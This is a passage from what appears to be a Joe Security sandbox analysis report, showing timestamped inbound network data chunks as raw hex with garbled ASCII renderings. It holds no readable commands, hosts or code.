2021-11-08 19:52:20 UTC 1352 IN Data Raw: 84 f8 a8 86 dd 0c d0 91 7d 6f c9 87 67 5e 3b c4 cb 7d 6d 55 a9 75 90 ba 66 c9 0c 1d 55 46 fb 50 99 ed 44 16 71 08 67 f9 b9 6c 42 44 d5 19 7a b5 44 44 ae 23 96 3a 30 3f fc 0c 2d cf 55 26 bd 37 9f 99 47 90 3d 16 8c 57 44 27 1a 02 48 72 9a fc 4e e0 d6 52 af a2 c3 ce a6 1f 30 97 0f 55 c6 d9 c0 d5 47 53 26 8d 03 c6 ba cd e2 9b fa b0 e7 cd 90 d0 44 90 1262 a2 41 2a 1c 91 4c ac b8 93 cf 70 7b f2 4f 44 6b 18 9b a9 32 2c 5f a5 2d 7b 12 a2 cc 52 4e 22 44 62 9b 3e 74 e3 35 38 1f 63 8a 5c 75 d6 25 e9 1c 5a fc ed eb 06 42 96 b0 f2 dd 96 1b 5b 50 07 08 d9 13 89 0f 90 a9 4f ab a6 0e 7b 1f b0 94 41 df 1f 37 c1 32 87 6f 37 8a fa c9 6c 46 98 d8 f5 8d c2 54 d3 3c e4 78 73 4c d6 8c 61 28 25 ac 17 ed e5 36 bd ec af 0e 52 26 ec f1 9f de e3 97 2b 75 e5 d3 e4 f2 97 f8 e8 ee 06 Data Ascii: }og^;}mUufUFPDqglBDzDD#:0?-U&7G=WD'HrNR0UGS&DbA*Lp{ODk2,_-{RN"Db>t58c\u%ZB[PO{A72o7lFT<xsLa(%6R&+u

2021-11-08 19:52:21 UTC 1368 IN Data Raw: 7a fe 70 b7 d3 c9 ce b1 64 28 7c 5c 98 db a1 0f 4a 5e 73 5e 8b 8b 8c 6f 4c be f8 92 ce fb 23 01 6c 13 5f 81 48 db f3 bc e7 87 d8 13 af 8f a9 15 87 b8 50 d4 b5 a0 82 bd 60 84 dc fe 2e da 78 09 24 a8 4d 38 34 36 1c af 1e 8d 31 8d fc 0f 8a e8 70 9a 8e 96 8d 46 3a 68 e4 ae a2 54 7f 03 e8 f9 19 77 1d 50 9e a4 f8 61 ab f8 e0 9f af 02 f7 66 8c 65 e3 c5 ca d6 2b d6 6b 3b 8e ee c2 29 f3 5f e6 bd 28 1a 47 42 ef b8 c6 e3 6b cf 38 3d e5 c1 44 41 35 84 e3 83 77 d0 b7 b6 ce c7 a1 e0 a7 81 ad cf cb 40 73 e7 ba 29 fc 27 9d af 2a 3a c7 ae 53 c7 e7 d2 8a b6 6b 47 31 4f 94 57 44 81 c7 dc d9 62 97 a1 d9 cc 24 5d 54 0d 98 87 8b 59 15 2d 39 1b 82 4e ed 86 2d 79 40 0a eb 5b cd 04 0b 18 7f 78 87 63 f2 d3 fc d7 14 18 48 29 02 32 7b 97 eb 02 72 52 a5 06 89 24 28 dd f4 55 53 c5 f3 Data Ascii: zpd(|\J^s^oL#l_HP`.x$M8461pF:hTwPafe+k;)_(GBk8=DA5w@s)'*:SkG1OWDb$]TY-9N-y@[xcH)2{rR$(US

2021-11-08 19:52:22 UTC 1384 IN Data Raw: 9b 13 b5 8a 79 94 74 34 46 00 34 6e 44 9a e5 9c 3e d6 ec 6e 35 e4 ff 95 93 75 62 86 c3 0e f4 04 b8 0f e6 a7 4f 24 d8 13 9d ab 34 0a f0 37 28 21 41 b5 a9 bb 2b 90 f6 b2 a3 f4 bd ff cd 79 c7 68 09 af 4c 9c e8 5f 6c 51 77 3b 72 4a b1 bf 86 e7 95 59 87 05 40 58 b6 ad 71 35 e9 04 1e 53 9e 6c 2a 0e 9e 4d 48 50 dd 5e 4e 0c 01 9f 90 f3 aa 71 8a 27 db 43 67 cf 02 cd 66 c0 e3 c6 9c f7 d6 a8 dc 1b 97 bb 96 63 b7 dd d7 7a 95 20 7c 9c df c0 ce 88 f1 eb d6 45 3c db cd f0 93 f4 71 02 3b b4 c9 23 e6 d8 9b de b9 d7 72 9d 82 b6 3e 4f 96 9a 27 0b e1 b5 7c 86 d2 d7 7b e0 96 9f 33 33 7d 4c fb 00 d4 31 7c c3 eb d6 9c ed ba 47 a0 b3 e3 0a 7a 59 26 c2 93 36 70 60 a0 f4 af 49 2a b5 3b 6e 17 bd 71 5d 21 97 96 9f cf ee 8d 51 1a af 37 c8 6f 93 c7 fc 18 3d b5 f2 d4 ed 21 4f 06 ba f3 Data Ascii: yt4F4nD>n5ubO$47(!A+yhL_lQw;rJY@Xq5Sl*MHP^Nq'Cgfcz |E<q;#r>O'|{33}L1|GzY&6p`I*;nq]!Q7o=!O

2021-11-08 19:52:22 UTC 1400 IN Data Raw: a0 ac 76 af 84 f9 39 1d 0a 78 5a e1 bd 2c 72 ff 2c 1b ac d7 1e e4 c9 5a 8e 90 a3 9f af 84 04 4d 0b f3 9b 98 89 17 fe 19 f8 69 e4 a6 34 9d 20 6d 96 ec 1e 70 a8 5f 2d 2e f4 ab 0e 55 1e 8c b0 e2 16 75 ec 6c ce cb 0c e1 8d 2c b7 14 9f a7 fc 24 d0 f6 d4 a5 4c 03 30 18 e5 20 83 78 34 fb 78 66 df dd 80 10 3e ab 07 7c b1 14 86 4f c1 97 c3 ff 8b bb 25 9e 16 35 c7 fe 11 c5 56 0a e2 2e 27 de 5e ec aa 0f 64 63 4a 0c 0d d6 a2 61 83 04 4b 0a a5 39 d7 85 25 0e 4c d6 db 58 c6 b7 8b e1 aa 0e 31 3d cb 02 13 50 3b d6 f3 ce 52 d5 cc 0b 6c d6 26 e0 d5 07 c6 d6 21 f8 ad 47 a2 dd 28 b4 f3 43 bd 10 65 da cf 83 67 19 14 27 89 0d 5d c8 4c 8c 9c 34 b2 60 58 ce 28 dd 9f c9 93 9b 86 15 6f 89 ce 9a 81 36 94 dd 1c 0a 1f 67 8a ae a8 11 ac c6 ee 80 16 7a 42 f1 05 40 e4 e7 6c d3 e5 9a bd Data Ascii: v9xZ,r,ZMi4 mp_-.Uul,$L0 x4xf>|O%5V.'^dcJaK9%LX1=P;Rl&!G(Ceg']L4`X(o6gzB@l

2021-11-08 19:52:22 UTC 1416 IN Data Raw: a9 1b 63 33 2c ea ac 30 fe a0 1a 18 4b 85 29 ad 54 49 c6 9a 74 71 25 61 e7 de c6 20 2e 42 60 45 3e 4a 0f 3f 7c ed 20 fb 3e 54 05 92 4c 6e da 1e 2c db 49 c5 d9 66 b0 51 ef 72 d5 23 b3 59 8f c5 39 c5 58 60 71 5b ce 30 25 2f bb a6 15 2e ea 0a e9 bf 31 48 ae 2f 0d 37 ed 70 c7 bd 72 8c 24 d1 20 1c 4e 20 97 2b f4 8f 51 d2 15 6f 47 c6 02 45 fe cc 0b 08 60 0c 32 1f 20 c5 2b b8 9f 75 49 a7 47 9d 35 85 46 41 05 57 8e ae 9b b2 96 bd 87 31 77 b3 f5 8b c1 a4 06 aa 6b 98 ae 24 15 f9 80 33 a6 49 b9 e4 2f df ea 3c 3a da cc ee 8a df ea 6f b4 c7 18 07 b1 27 c1 bf 31 d2 90 37 69 9b 77 1f 80 60 47 b1 b0 47 51 19 c7 39 55 d6 7b 5f 22 74 e7 18 f9 91 09 79 26 45 a9 24 80 1b 64 ae 10 26 3f 44 8e 01 21 48 60 17 8f a0 81 d5 64 c2 4d 24 46 6e b9 48 74 35 19 e7 2e e9 0d fa bb e0 ab Data Ascii: c3,0K)TItq%a .B`E>J?| >TLn,IfQr#Y9X`q[0%/.1H/7pr$ N +QoGE`2 +uIG5FAW1wk$3I/<:o'17iw`GGQ9U{_"ty&E$d&?D!H`dM$FnHt5.

2021-11-08 19:52:23 UTC 1432 IN Data Raw: fe 04 58 6e ce 0e 75 d4 e9 2b d1 4d 91 07 49 4f e5 67 5a e8 9a 08 c4 0f 8f a3 75 9b aa 61 e8 2f 85 41 65 13 77 c2 3d 03 79 3f 2a 4d 12 03 9c a9 60 53 48 df 63 9b db c6 8b 7f 26 de b8 a6 6e 3c 09 d2 48 b3 cb ec b6 8f 96 0c a3 5e ef 80 dd d1 64 4b cf 19 85 cb 34 6e ee d1 0b 77 db d8 38 86 59 02 39 2a 78 a9 e3 b3 5c 8c 21 9c 34 e9 e8 41 5d 77 93 8a 58 ba fb 6a 69 d9 9c 1f 21 ca a3 88 27 8d 7c bd 5e 82 73 d2 d8 2d 55 97 1c 11 ff 35 30 c3 b5 e5 62 ae 72 aa 38 53 44 8c cd bd 6a 99 2b 8f 29 61 9b 9f a3 cd 99 d2 3e 35 af 2c b2 01 58 4e a4 e7 fe 0a 76 56 1b f5 ed bc 33 bd 3a 08 b9 48 3c ea 9d 71 c2 93 da 62 7b 4b be 19 d4 6b 31 08 6f 48 8f 9f fc b8 84 6a 49 20 e3 b9 75 07 9e c5 50 5a 5e 17 68 46 f8 ef 02 12 fd 02 b0 ab 16 f8 55 54 76 b4 c8 25 1b 1d c9 be 9c e0 58 Data Ascii: Xnu+MIOgZua/Aew=y?*M`SHc&n<H^dK4nw8Y9*x\!4A]wXji!'|^s-U50br8SDj+)a>5,XNvV3:H<qb{Kk1oHjI uPZ^hFUTv%X

2021-11-08 19:52:23 UTC 1448 IN Data Raw: 11 f0 98 4c e7 07 7b d1 f2 be 5e 00 d1 dc 4d eb 22 26 a6 ed 04 a7 56 3e 8c b4 19 64 b8 63 77 c0 28 e5 8c 23 e5 dd 20 5c a8 0c 90 1a bb ad 1f 08 c4 47 1a 1a 9b fe fd 25 c8 13 ee 7f 6c 0f fb ca c3 20 1d e6 3d e7 26 e5 96 2e 77 3e c2 ca 16 e7 be 50 da 51 11 2e 0f 0f 7e 43 fe dd ce 02 7e 45 a5 45 9d d1 48 95 8a 74 c1 0f 0f 03 c2 d3 eb df 39 e4 87 f0 9c af 08 85 45 8a 5b 3f a4 38 66 3b 27 b7 93 eb ea 8f ad 44 df 8f 09 cd 6e 49 34 69 e7 5c d9 bf e6 03 5c f9 ce 8b f3 03 05 aa 8d 0b d8 c3 2c e6 af ac 3f 7c 67 6d 1d 42 bf ca 35 f1 85 cb 65 dc f5 b8 91 c8 f6 96 2c 28 b0 05 b8 87 74 75 7c cc c5 8e bf 2c ad 79 f9 d0 9a de 71 a2 c3 dd 5e 50 36 7e cb 08 c1 ac 5d 49 1d 38 96 1f c1 7a f5 6f 68 30 72 b9 ed 9b ba b5 9b eb 1b 8c 34 2b bf 8b a5 53 79 7b 93 e7 65 c5 6d c7 ac Data Ascii: L{^M"&V>dcw(# \G%l =&.w>PQ.~C~EEHt9E[?8f;'DnI4i\\,?|gmB5e,(tu|,yq^P6~]I8zoh0r4+Sy{em

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 29 of 51

2021-11-08 19:52:24 UTC 1464 IN Data Raw: 60 68 55 1a dc 02 e9 a0 08 0a ef 40 4f 4d 4c 61 ec ed 41 85 fc 3b 84 2e d5 21 ca 0c bb f1 9b cc 47 b8 d2 84 cd 4b ca 09 a1 ec 33 95 49 fb fe 3d a5 6f f8 2d 30 5a 63 13 84 8d 23 ba 99 e0 72 0d ed ef a7 aa 78 f9 8a 0c 30 75 6b ab 28 4e a6 dc 58 a1 43 8c dd 4a 15 15 29 14 78 14 3a c9 e4 7a bd 19 5d 4d 71 13 00 26 3c d1 a6 6b bf fb cc 34 f3 73 29 76 ff ec 69 bf 9c 6a 5c fa 91 83 5f 9c 51 13 fd f3 1d c6 1b 5d a6 04 00 1a 33 80 3c ff ee 8d 7b 6a a1 f7 b3 f9 25 1b 1e 57 ab 53 f9 c3 83 1f 40 25 ac 88 a3 2b 8c 51 ca 97 df 06 38 81 2c 0c a8 cb bb 58 73 28 31 01 e2 f1 a7 30 d4 10 96 2f 95 49 30 96 c3 6d fe d3 72 31 b0 df ff 6f c3 d4 5a 68 1a 33 04 d6 30 8c 16 7c 38 24 b6 45 a2 a7 67 3d 78 51 e6 24 75 56 68 dc ff 8c 18 d7 3c e4 3d 07 7b 28 11 a8 74 3f 21 08 a2 a7 87 Data Ascii: `hU@OMLaA;.!GK3I=o-0Zc#rx0uk(NXCJ)x:z]Mq&<k4s)vij\_Q]3<{j%WS@%+Q8,Xs(10/I0mr1oZh30|8$Eg=xQ$uVh<={(t?!

2021-11-08 19:52:24 UTC 1480 IN Data Raw: d4 77 35 51 51 1f 46 9d 57 9e eb 57 80 a5 ee f1 68 94 62 ad f4 80 e6 82 66 44 f8 ad 65 55 a4 27 7b 49 55 6d 4c f7 77 12 29 fa 00 4b 3a 46 d6 8f 8e 47 0e 8a 9e b7 86 ac 45 43 c0 67 c7 7e cd e7 d5 ca 46 36 cd f3 1a de 32 d1 66 e1 ef 30 ab 87 33 d2 df 69 7a 8d 10 a1 1d bf 54 a4 4d 05 fa be 06 ae 4c 29 47 8a a6 fc ac 11 05 4a 6f 51 27 9c 65 91 40 d7 80 25 07 3f 63 b9 8a 20 70 e8 ee 19 a5 97 67 94 ba 16 21 4b 88 fb 34 a1 9b 03 67 ae fd 7f fb c8 5c 4e ea 68 5f 48 46 e8 5b f0 a8 a8 bb 20 c2 22 d4 6b dc 34 d5 05 d2 4a ad 18 7c 6c a7 79 3c 07 cc 40 c0 9e c7 8a cd e0 ac 39 26 48 f6 35 e1 7c 9a f6 6d e8 4c 5d 34 35 44 ba 83 64 45 55 24 b2 20 c7 7c 26 22 f5 18 9f d7 b0 46 cc cd 3d 19 f3 5f b0 b7 c9 39 53 e4 b9 9b bd f4 e6 e9 03 51 f7 2e 83 59 ca 10 7d 5f a7 15 2d 72 Data Ascii: w5QQFWWhbfDeU'{IUmLw)K:FGECg~F62f03izTML)GJoQ'e@%?c pg!K4g\Nh_HF[ "k4J|ly<@9&H5|mL]45DdEU$ |&"F=_9SQ.Y}_-r

2021-11-08 19:52:24 UTC 1496 IN Data Raw: c3 77 dd 30 e4 5d 5e cb d0 d7 39 d9 0e 91 77 b5 6a 99 8c 0f d2 b8 fb 7e 9e fe 03 7b 61 a4 a4 ef 27 58 fe ec a8 c2 3e 23 dd 2d d0 f2 27 13 28 dc 49 26 a8 40 48 e2 68 20 ac 63 de 2d 64 2c 31 3e fb 59 1a a6 93 b4 7a 41 66 de af 1a d2 aa ea fb e5 eb 02 10 e0 cc a4 4d 69 b8 6c d6 d7 5a 70 6e 37 d9 5a c3 16 78 f2 cf 84 a1 2b b0 8c b9 a0 68 58 62 3b 99 ed 45 6f e4 ca f7 62 92 7d 8b fc e1 fe 08 b2 17 d2 83 1e 99 06 ce a5 79 f0 cf dc d4 23 c0 98 4b 8b 38 6b 6d 26 c0 d8 5b 89 56 a9 d5 08 e8 5c c9 ed 93 f4 04 3e 00 08 95 af 46 84 55 0c 5c 6e 7b da 91 99 cf 65 4e b1 1b b3 11 58 7e b7 ee be 38 63 05 1d ba 72 60 f6 97 55 44 7b e1 59 f3 f0 09 82 59 6c ce 4b d0 27 81 e3 23 f1 87 0b 6e 54 72 00 59 b2 c5 d4 d2 8d 5b 0c f4 83 19 05 0f 8b 94 d4 48 08 00 c5 4b ef db 50 12 14 Data Ascii: w0]^9wj~{a'X>#-'(I&@Hh c-d,1>YzAfMilZpn7Zx+hXb;Eob}y#K8km&[V\>FU\n{eNX~8cr`UD{YYlK'#nTrY[HKP

2021-11-08 19:52:24 UTC 1512 IN Data Raw: 75 88 81 21 bb 3d 15 96 9c 32 ce 38 39 4a 95 5c 8f b0 8c ab 33 23 ed 68 e3 af f0 43 2f 49 2d ef 95 ac 84 0c ac 8d a0 63 b2 de 2e 8c a8 8b 06 a8 63 a6 99 9e 2b 51 59 83 82 06 be f4 bc 35 44 4e 1e de ae 77 3d 46 86 67 0b 96 c7 8c b5 90 1e d3 78 86 5b bb fa e1 c0 a2 64 9b b0 5a 02 bb 7c 82 8b 5d 63 92 16 bf c0 21 1a 2d 9b 63 d1 2a 1a 1e 03 6c c8 e9 97 6b ca 94 6c 5c 02 c4 3c 17 17 f1 a4 d0 10 bf 45 36 1d ad 74 19 0e 29 5e fd 8f cf 6a 4f 18 ff ae 4a 7e fd b0 6e c0 a9 85 29 5b 3c d3 2c 9b a1 42 87 65 24 67 31 ec 12 a6 18 c2 78 2a 35 98 ed 61 f5 28 33 dd 98 4d 08 76 cb 5c 72 c1 25 58 67 75 ac 57 81 7f 99 a9 1c ab c5 67 06 9a cf 72 c6 1e 3d a3 9a ea 18 55 38 62 ee f0 a7 b4 48 a8 9d dc e6 de 03 85 cf 9e 34 58 07 ad 65 d3 80 a1 76 a8 af 08 e2 8c 07 a7 79 46 18 74 Data Ascii: u!=289J\3#hC/I-c.c+QY5DNw=Fgx[dZ|]c!-c*lkl\<E6t)^jOJ~n)[<,Be$g1x*5a(3Mv\r%XguWgr=U8bH4XevyFt

2021-11-08 19:52:25 UTC 1528 IN Data Raw: b1 4e a9 12 f5 1a d2 17 60 c8 b1 fa ba 9e f7 47 33 88 38 e6 cc 2b b3 15 f7 25 8e 5e 5b 2e 74 a1 b1 dc d9 7c 050a 4f 70 3d 58 90 52 fc 48 34 b9 49 99 1d 56 8c 49 a7 79 97 bd 2e 67 36 2a a1 32 b7 c2 92 73 64 ff 45 cc bc f4 e0 98 7d c5 9f 1a a4 23 a8 c8 64 ce 6d 8c a3 18 ca 55 84 9a 41 99 8f 74 d9 74 d8 e3 67 b7 01 50 6a bc a2 26 15 0b d9 18 30 2c 2d fd 81 ee 19 d6 61 ec eb 40 1a 37 aa 63 a1 30 14 08 38 49 42 39 97 09 87 3f f5 08 c5 f0 be b0 15 2a 5b 60 e9 18 98 17 b5 08 d8 e0 05 27 c2 8f de 30 f7 02 0c 26 31 91 3b 08 f5 d3 fb 05 56 37 38 46 8a 48 cb e1 1e fd 9b e9 8f 20 4b 31 bf ea a3 a9 83 24 2e 2f 57 5a b6 fc da c7 f2 e0 03 37 f4 f8 78 d2 cc 28 7c 18 b2 61 f4 fa 5e 1d ca 6f 95 1c 56 c5 48 5a 80 cb 64 9e 38 8d 85 be 41 7a 3a cd f2 15 1b a7 b0 ff 91 4d e2 Data Ascii: N`G38+%^[.t|Op=XRH4IVIy.g6*2sdE}#dmUAttgPj&0,-a@7c08IB9?*[`'0&1;V78FH K1$./WZ7x(|a^oVHZd8Az:M

2021-11-08 19:52:25 UTC 1544 IN Data Raw: 0b ca 5f 6d f5 66 29 99 16 d4 ba d1 2b cc ff 3f 1d 79 a0 b6 98 3e 04 71 19 39 d3 e5 ed c3 95 dd ce e4 23 0d 35 db 62 f9 47 71 12 8c e3 1e 21 5c 4e fa 30 ea 5c 90 cb 4b 21 56 af ba 56 6c 46 7d 02 a5 0a c7 33 9c 4d 11 f3 70 a9 7a 3f 03 6b 23 93 a7 00 b5 07 cd e1 8d 65 1a a1 19 f5 46 8c 9d f7 6f 4a cd 51 5b fc e2 54 f2 34 a4 62 38 2c 66 1f d4 21 3f da c5 2c 71 8b 89 93 a6 86 2a 3f db 50 ff 70 a5 c4 5b 38 ea cb 9d 83 e3 b7 ea ee ae 8d 0a 61 bf 30 a6 e1 dd 27 a0 8f 0b 24 64 15 fb ce 8b 85 dc 09 88 a7 ef 2d 89 23 01 af 62 eb 4c 16 26 d5 ff 84 b4 7b 56 1f e6 c5 97 e8 76 25 a7 39 cf a1 a3 7a 26 61 1e 8f b6 ab 57 71 96 6e 8c 13 7f 48 48 0a 41 4b 3e 5e b2 f3 af e1 47 24 35 d4 9f 46 c3 13 49 f8 d1 7e f1 62 a9 bf 2d 3f bf 22 18 d4 68 11 5f 94 80 7d 9b 92 75 91 ed bf Data Ascii: _mf)+?y>q9#5bGq!\N0\K!VVlF}3Mpz?k#eFoJQ[T4b8,f!?,q*?Pp[8a0'$d-#bL&{Vv%9z&aWqnHHAK>^G$5FI~b-?"h_}u

2021-11-08 19:52:25 UTC 1560 IN Data Raw: b0 8d 13 51 0f ba 21 d5 8e 10 15 41 1d f1 9e 36 2b c3 a1 47 32 ea f7 d0 69 26 67 50 a9 bb 98 9a f5 3e f0 1a 82 67 e3 d9 af 0a 1e 8f 53 b0 8a 02 97 4b f0 d9 25 5d 9c 42 97 23 85 9c b0 c4 fa 12 fd 50 84 c3 cc 00 2d 50 e6 5a 34 17 f4 da b1 7c 2f 88 55 db 2b 58 30 75 a3 87 d5 d4 ab bc d7 2c 8e 75 ff 50 bb b2 df 21 64 d4 f6 53 c6 f4 52 ec 3c d7 b5 44 d1 87 a2 b5 36 a9 cc 8e f0 7b e6 e0 f3 0c f4 c6 d7 c6 e2 41 55 63 ea 71 f7 75 53 9a f7 f5 de bc 9a 44 21 58 bc 5e 5c 68 a8 eb e5 d8 ed cf 7f 9c 48 23 0a 9a fe d5 ad f7 88 f6 b7 b7 c7 8c 21 5c 55 b1 8f f7 db aa f8 0e b4 2d 3f 88 6c e2 8f 9b 7d ef 35 6d 7e b2 03 80 4b b0 f4 5a a0 5b 1f 6d f6 1e 5e 83 85 ad a5 a0 ed 52 9b 53 47 69 43 3d 46 91 1a a7 a1 81 f5 1a 8e 2e 1c 1e 99 2f e6 7d 8e d3 0d 4c fb 72 62 a4 45 15 10 Data Ascii: Q!A6+G2i&gP>gSK%]B#P-PZ4|/U+X0u,uP!dSR<D6{AUcquSD!X^\hH#!\U-?l}5m~KZ[m^RSGiC=F./}LrbE

2021-11-08 19:52:26 UTC 1576 IN Data Raw: a8 b1 8d 92 44 b4 af 25 31 54 ef 03 1c 8f 03 06 c3 98 5c 4e 2b a2 21 a7 f9 ba 2b 80 22 38 fc 84 63 b8 38 60 df c8 b1 fd 3f 80 52 c4 9f 95 9a fe 8e f0 84 91 d6 54 48 97 3d cc fd f6 a4 c6 35 10 72 1e 7c 59 45 60 f9 d0 fc 3f d2 63 9c 3d 07 4e ed 7f 94 86 dc ff 61 94 b4 b0 67 4c d9 4e 35 4b 28 99 1e fd 1a 88 f9 6e 97 6f 13 dc 80 29 f8 b9 f2 70 79 d6 fc 44 8a b6 ff b1 88 87 3b 2f bc 70 b7 8d 4e 3e de 44 b9 2c 8f c9 18 63 74 f5 37 3a a5 2a 79 b7 f0 90 2f 18 83 27 13 13 99 37 60 e5 4a b5 1f d9 26 b8 b9 c5 b9 de e0 7f b3 ea 68 54 ef fe ea 7d 9c fd ba 8f 6e 52 a9 81 83 ef 52 b3 e0 3d e7 4c f6 a7 bf 31 35 24 4e 66 7e 5d 06 68 f2 eb 15 3e 64 44 93 22 8b 4c 23 5a 4c b4 57 6d 83 44 11 8f 97 3b e3 21 36 99 2b 12 5a 7e 90 25 6d 68 fd 89 53 ae f6 76 d9 6b 73 41 21 0b ce Data Ascii: D%1T\N+!+"8c8`?RTH=5r|YE`?c=NagLN5K(no)pyD;/pN>D,ct7:*y/'7`J&hT}nRR=L15$Nf~]h>dD"L#ZLWmD;!6+Z~%mhSvksA!

2021-11-08 19:52:26 UTC 1592 IN Data Raw: ac 9d 66 5b 14 c0 5f 67 8b f4 ee 8b d9 c3 0a 2b 85 72 e4 63 b7 8b 87 d0 eb f2 10 49 9c 7c 31 79 a0 2b 8c d1 8e 33 18 d9 ce ab ef 91 df e7 60 e1 e0 2e 56 d4 8e f5 4b e0 db cb a2 f7 de 6f 38 33 31 74 34 91 f3 3c 94 b6 db 21 3d 89 2e d7 c3 11 57 c0 ef e4 68 72 95 40 27 61 46 a7 bd 6a 4b 90 fa 31 bd 8d 58 09 f4 21 3a 7f a9 05 af 67 82 d4 f2 07 03 ab ab a5 91 3a 1d 50 03 24 78 4a b5 43 69 25 d0 e2 85 b1 f0 a6 93 25 73 c9 cd 9e 48 70 27 b6 74 c5 fc 87 8a 11 96 a6 22 5d d2 8e 0d 1e f7 02 f4 bf 60 77 87 ca 0d 2c a7 42 01 d7 5f b8 ce 49 84 45 5c 19 d8 cf 33 47 9c c9 f0 aa ac f0 a2 ff 1d 57 2e 89 4f 37 53 77 e6 82 78 fb 96 dc c7 29 24 38 2a cc 89 ef f4 96 82 da 63 12 3a 00 2d 72 97 c6 c2 74 af e0 ea b7 d9 0d b3 dd 16 eb 98 bb fe 19 e6 3b b3 37 fc f4 8b 9c 59 87 20 Data Ascii: f[_g+rcI|1y+3`.VKo831t4<!=.Whr@'aFjK1X!:g:P$xJCi%%sHp't"]`w,B_IE\3GW.O7Swx)$8*c:-rt;7Y

2021-11-08 19:52:26 UTC 1608 IN Data Raw: f7 e9 61 32 96 ec cd e4 69 26 52 de ea cd d0 e3 08 09 a9 94 e9 90 bb 91 9a 24 9d ad c2 b3 a5 0a 0a 18 5c 32 91 23 7a d7 df 0d ec 2b ef b9 cf 94 60 3b fa a2 ce 5a d1 dd 5d d3 13 f7 3c 2e 0f a0 2b 51 08 69 d2 b7 f5 10 1a e5 26 b0 45 06 77 ac 1b 66 25 a9 13 08 d7 14 28 de 57 ff 9f b2 4c 79 a7 1d 47 6d 66 af 71 f5 d2 fa ed 3f 7f ca 02 c9 81 77 e4 af f2 d5 eb ff 81 3e b2 54 3f ad 00 52 88 27 cd 34 de 17 78 da 12 2c 01 ee 42 c8 8e 0f e5 ea 3c 65 5c 8a 38 0c c2 26 db d4 7a 40 a8 e4 d5 3e a1 da 9e 91 d9 2a 34 e1 70 7d f0 98 d4 c6 8d ab 06 3c 21 e4 69 19 29 08 e7 10 a9 a6 0e 3a 35 a7 3e e0 ce 39 ac d5 8d 02 4c 56 63 72 93 ef fd d0 27 a2 24 35 26 27 f5 5e 1f 3c 83 c5 23 f6 e4 55 71 fe 65 41 1a c4 76 de db 6b b1 b7 6b 58 39 ac 29 2d 75 1c c1 95 b8 96 3c 88 78 f6 7f Data Ascii: a2i&R$\2#z+`;Z]<.+Qi&Ewf%(WLyGmfq?w>T?R'4x,B<e\8&z@>*4p}<!i):5>9LVcr'$5&'^<#UqeAvkkX9)-u<x

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 30 of 51

2021-11-08 19:52:26 UTC 1624 IN Data Raw: 31 33 26 03 b3 68 9f 5b 3d 81 96 d7 5c e7 96 05 3e 1a ee b3 f5 d8 5b 47 dc 98 84 e0 e7 fc 63 e6 27 bc 10 c9 02 42 77 64 33 8d 68 26 f2 f9 80 a9 9d e5 65 36 1c 8c a7 27 0e e6 ad 21 b1 69 d9 4f c7 04 0d 3d 6d 17 fa 37 59 a8 03 bf 67 c7 ae 96 dc 1f a1 50 c3 88 7b 19 66 91 48 7d e8 9c b9 c0 5c 26 1e 7d fb bc bb 80 86 e9 8d f4 83 06 1f b2 05 59 09 0b 5b 41 71 01 e4 e9 c8 1b 12 cc ce 71 13 d5 2b ed b3 0b 56 1a a5 a3 4b b4 5c 38 b7 d4 e4 47 fa c5 0e 12 4f c7 a6 c2 46 e5 7c 5d 70 6f 08 87 c5 ce b2 48 bf 5f 0d 40 f1 15 bb 65 0a 77 93 3b b7 5f 71 9b 05 02 39 7f 55 89 e0 00 c9 0c 1a 3e 42 0e b9 6b 9e d3 d0 16 8f 95 4b a0 ca ac df 7a 00 f3 97 9e 67 2e 5f e0 39 58 91 ae 12 10 98 2c 19 51 c3 7a 1d 1e a2 83 02 cc bd a6 67 3a eb 39 05 71 f9 3d 79 c6 09 26 cb cc b7 0a 3d Data Ascii: 13&h[=\>[Gc'Bwd3h&e6'!iO=m7YgP{fH}\&}Y[Aqq+VK\8GOF|]poH_@ew;_q9U>BkKzg._9X,Qzg:9q=y&=

2021-11-08 19:52:27 UTC 1640 IN Data Raw: de b3 ff b8 09 d4 75 b3 6f 09 80 be bb 8f 8f 28 6b 9d 12 94 24 1d 47 1d 34 3e 6c af f6 f2 df 84 6e a5 6c 2e e5 7a d5 ad 7b ad 58 40 f0 3e a2 7e c1 f8 c6 2f af c4 fc 6a a9 33 8c 12 96 93 9f 20 7a cc 2a 7a 42 50 e3 18 c4 e2 75 ae a4 5d cd 94 47 3e c2 cb 3e cc 6d 61 9a 61 ee 37 0d 1f 76 90 ff eb 53 89 39 12 d1 bf 43 a6 df d9 ea d2 65 2d 21 45 08 1f 97 48 0f ce 8a 59 39 86 3c 6e 67 7e c4 b9 ac 0c 75 3f 88 55 c1 bf 02 b8 a6 4e 36 a0 c2 95 61 6f 9e 1c dd 04 ce 05 87 a2 ac 31 de 34 e5 b7 38 36 7b 0d 98 b5 db 01 b6 ea 99 48 d0 91 4c 1c 93 05 1e 8a d0 16 e1 f1 80 79 9d c2 04 49 23 9f 58 a5 d0 95 d1 50 2b a5 e5 9c 91 78 66 cd 29 d6 1f 1d c4 6a 79 55 1e c0 8b 18 f8 fb 6b 8c b8 13 96 ea d5 d9 28 e3 3e 8b 40 e8 f9 dc c3 07 e0 5f b9 fa 1a 61 7e 9c ff b4 b6 6f 30 68 b0 Data Ascii: uo(k$G4>lnl.z{X@>~/j3 z*zBPu]G>>maa7vS9Ce-!EHY9<ng~u?UN6ao1486{HLyI#XP+xf)jyUk(>@_a~o0h

2021-11-08 19:52:27 UTC 1656 IN Data Raw: ed 07 57 26 0b fb 30 d1 b6 ab 71 41 9e 87 af 85 38 c2 87 5d bb ee 6e 2d 55 ed 77 29 76 e6 34 46 62 31 81 21 e7 cb d2 d6 59 36 a3 ae 00 18 56 cf b3 3d e7 8b 83 9c 7d b5 a0 7b 33 76 7d 41 95 30 f0 28 d9 61 66 91 da 9b a8 98 46 26 e3 b6 b0 d9 ae ae 97 f7 80 50 58 1a 6b 05 3d e8 30 3a 6f e1 e1 2e 92 bf 71 97 66 09 f5 75 20 70 a4 be 91 2b b6 c4 70 38 db 4c 63 aa 3f 7e 57 c6 58 38 94 97 e2 d6 e3 1a 5b ec 38 41 79 19 7d d7 df 50 85 1f dd 77 75 dc 69 bc 8a 14 a5 74 a8 f8 40 49 57 15 86 02 2f 66 fa a7 aa 53 14 6e 90 7d 67 38 cf 84 2f 19 9f 6a c4 01 67 7d 63 a7 67 16 c6 d3 bf bd 7a 39 e1 c7 f1 ef c1 df 82 70 09 b8 5f b9 43 80 72 b4 28 8c e2 38 5a 36 06 6a bf fe 4b 5b c8 dc e9 d9 57 52 67 87 0e 46 79 ed 0a 50 